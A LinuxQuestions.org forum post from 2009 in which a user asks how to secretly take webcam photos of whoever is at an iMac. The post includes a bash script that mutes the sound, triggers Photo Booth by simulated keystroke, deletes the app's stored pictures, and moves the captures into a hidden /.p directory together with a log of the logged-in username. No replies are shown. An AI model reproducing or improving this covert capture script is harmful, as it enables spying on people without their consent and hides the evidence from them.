LinuxQuestions.org
Register a domain and help support LQ
Go Back   LinuxQuestions.org > Forums > Other *NIX Forums > Other *NIX
User Name
Password
Other *NIX This forum is for the discussion of any UNIX platform that does not have its own forum. Examples would include HP-UX, IRIX, Darwin, Tru64 and OS X.

Notices

Reply
 
Search this Thread
Old 11-08-2009, 12:12 PM   #1
Bone11409
LQ Newbie
 
Registered: Jan 2009
Posts: 19

Rep: Reputation: 0
Way to snap a photo using the built in webcam


I am looking for a way to snap a photo without the user knowing using the built in webcam in a Imac. The way I have been doing it work's fine but I am using photo booth which give's them time to move out of the way.




#!/bin/bash

rm -fr ~/Pictures/Photo\ Booth/*;
osascript -e "set Volume 0";
sleep 5;

open /Applications/Photo\ Booth.app;
osascript -e'tell application "System Events" to keystroke return';

sleep 5;
killall "Photo Booth";

if [ -d /.p ];then
echo
else
mkdir /.p
fi
cd ~/Pictures/Photo\ Booth
folders=$(ls)

mv ~/Pictures/Photo\ Booth/* /.p
rm -rf ~/Pictures/Photo\ Booth/*
user=$(whoami)
if [ -f /.p/user.txt ];then
echo $user >> /.p/user.txt @ "$folders"
else
echo $user > /.p/user.txt @ "$folders"
fi
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
Getting the built-in webcam to work on an Asus X83Vb-X2 with Ubuntu 9.04 white Linux - Hardware 1 06-30-2009 07:25 PM
Problem installing built in webcam speel Arch 2 04-17-2008 09:25 AM
HP 1.3MP Built in webcam? sirusx69 Linux - Hardware 2 01-19-2008 04:32 PM
In built webcam in asus laptop matuk_444 Linux - Laptop and Netbook 1 08-01-2007 12:02 PM
Unable to use laptop's built in webcam Dark_Oppressor Linux - Laptop and Netbook 4 04-25-2007 01:40 AM


All times are GMT -5. The time now is 06:57 AM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration